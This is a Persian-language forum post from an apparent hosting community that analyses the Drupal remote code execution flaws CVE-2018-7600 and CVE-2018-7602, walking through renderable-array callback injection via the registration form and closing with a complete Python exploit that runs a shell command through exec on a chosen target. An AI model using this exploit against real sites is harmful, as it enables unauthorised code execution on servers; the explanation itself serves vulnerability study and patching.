نمایش نتایج: از شماره 1 تا 2 , از مجموع 2

موضوع: آوریل جهنمی برای دروپال (بررسی آسیب پذیری cve-2018-7602)

Threaded View

پست قبلی پست قبلی   پست بعدی پست بعدی
  1. #1
    عضو دائم T.Toosi آواتار ها
    تاریخ عضویت
    Jun 2015
    نوشته ها
    1,071
    تشکر تشکر کرده 
    278
    تشکر تشکر شده 
    2,936
    تشکر شده در
    1,329 پست

    پیش فرض آوریل جهنمی برای دروپال (بررسی آسیب پذیری cve-2018-7602)



    باسلام، حدود یک ماه پیش تیم امنیتی دروپال برای یک آسیب پذیری بسیار بحرانی (CVE-2018-7600) که با نام Drupalgeddon 2 شناخته می شود آپدیتی ارائه کرده است، این آسیب پذیری به مهاجم اجازه اجرای کد های خود به صورت ریموت را می دهد. زمانی از انتشار آپدیت جدید دروپال نگذشته است که آسیب پذیری بحرانی جدیدی (CVE-2018-7602) کشف شده است، که دقیقا همان ضعف CVE-2018-7600 است همچنین در دو مرحله این آسیب پذیری پچ شده است (پس از ایجاد ***** در کارکتر کلید ها (#) مهاجمان موفق به Bypass آن شده اند). بیش از یک میلیون وب سایت تحت تاثیر این آسیب پذیری قرار گرفته اند و مهاجمان بیشتر اقدام به ماینینگ Cryptocurrency بروی وب سایت ها می کردند.

    در آسیب پذیری CVE-2018-7602 که با نام Drupalgeddon 3 شناخته می شود، مهاجم با ست کردن یک پارامتر با نام Destination جهت استفاده از Callback های دروپال و ارسال یک درخواست Node Delete (پست، تاپیک و ..) می تواند Payload خود را بارگذاری کند، در ادامه مطلب سعی میکنم به صورت ساده متد و کلاس هایی که دارای ضعف می باشد را بررسی کنیم همچنین نیاز است به ساختار و معماری دروپال کاملا مسلط باشید.

    دروپال در API خود برای Render کردن از Renderable Array ها استفاده می کند، در صورتی که ما بتوانیم مقدار Renderable Array ها را تغییر دهیم می توانیم کد های خود را در مرحله Rendering Process اجرا کنیم. از فرم عضویت دروپال برای حمله استفاده می کنیم به دلیل اینکه فیلد ایمیل سمت سرور Sanitize نمی شود! و می توانیم Payload خود را در قالب آرایه در این فیلد تزریق کنیم همچنین فیلد Picture از AJAX API استفاده می کند که ما را به متد uploadAjaxCallback هدایت خواهد کرد.

    در صورتی که با ساختار Renderable Array ها در دروپال آشنایی ندارید، ابتدا لازم است به منابع موجود مراجعه کرده و با آن آشنا شوید.
    کد:
    \core\modules\file\src\Element\ManagedFile.php





    در ساختار Renderable Array دروپال، هر Key با کارکتر # شروع خواهد شد. با ست کردن element_parents در درخواست، مقدار این پارامتر پس از Explode در قالب آرایه به متد getValue ارسال خواهد شد (لاین 179) و به دروپال می فهمانیم Key ما در دیتای Post وجود دارد که باعث می شود در متد RenderRoot کلید ارسالی در صورت وجود در دروپال اجرا شود، به عکس زیر دقت کنید :



    Render در حالت عادی باید آرایه ای به صورت زیر باشد : (لاین 193)

    کد:
    http://uupload.ir/files/hynu_4.png
    و اما پاسخ دریافتی ما :

    کد:
    http://uupload.ir/files/lf4s_5.png

    حالا از یک کلید Callback دروپال استفاده کنیم تا کد های خودمان را تزریق کنیم،کلید Callback ها موجود و قابل استفاده :

    کد:
    #access_callback, #pre_render, #lazy_builder and #post_render
    از کلید #lazy_builder استفاده خواهیم کرد، اگر به سورس رجوع کنیم نیاز به یک Callable و Args داریم، پس در دیتای پست یک [#laze_builder][0][0] که متد assert از lazy فراخوانی میکند و یک [#laze_builder][0][1] که حاوی کد های مخرب و .. است را قرار دهیدم.




    درخواست و پاسخ ما به شکل زیر خواهد شد :




    اکسپلویت آسیب پذیری CVE-2018-7600 برای پایتون. در این اکسپلویت از کلید post_render استفاده کردیم که می توانید با این متد و حمله هم آشنا شوید :

    کد:
    import sys
    import requests
    target = input('Enter target url (example: https://domain.ltd/): ')
    proxies = {}
    verify = True
    url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
    payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}
    r = requests.post(url, proxies=proxies, data=payload, verify=verify)
    check = requests.get(target + 'hello.txt', verify=verify)
    if check.status_code != 200:
      sys.exit("Not exploitable")
    print ('\nCheck: '+target+'hello.txt')

    در پست بعدی در صورتی که وقت آزاد دیگری باشد آسیب پذیری CVE-2018-7602 را بررسی خواهیم کرد اما ابتدا لازم بود با طریقه حمله Drupalgeddon 2 آشنا شویم به دلیل آنکه در Drupalgeddon 3 باز هم ضعف در Renderable Array فرم ها می باشد!
    ویرایش توسط T.Toosi : April 28th, 2018 در ساعت 23:45

  2. تعداد تشکر ها ازT.Toosi به دلیل پست مفید


اطلاعات موضوع

کاربرانی که در حال مشاهده این موضوع هستند

در حال حاضر 1 کاربر در حال مشاهده این موضوع است. (0 کاربران و 1 مهمان ها)

موضوعات مشابه

  1. درخواست vps از سه لوکیشن مختلف دنیا (امریکا، اروپا و شزق آسیا)
    توسط bahrambeigy در انجمن درخواست سرور مجازی
    پاسخ ها: 13
    آخرين نوشته: May 8th, 2017, 00:06
  2. پاسخ ها: 0
    آخرين نوشته: April 26th, 2017, 13:39
  3. معرفی قالب رایگان رُز سیاه برای دروپال ۷
    توسط nasour در انجمن دیگر سیستم ها
    پاسخ ها: 0
    آخرين نوشته: February 24th, 2017, 16:02
  4. route دالاس به آسیا و اروپا
    توسط shetab در انجمن سوالات و مشکلات
    پاسخ ها: 5
    آخرين نوشته: April 26th, 2013, 22:45
  5. پاسخ ها: 0
    آخرين نوشته: January 4th, 2012, 22:04

کلمات کلیدی این موضوع

مجوز های ارسال و ویرایش

  • شما نمیتوانید موضوع جدیدی ارسال کنید
  • شما امکان ارسال پاسخ را ندارید
  • شما نمیتوانید فایل پیوست کنید.
  • شما نمیتوانید پست های خود را ویرایش کنید
  •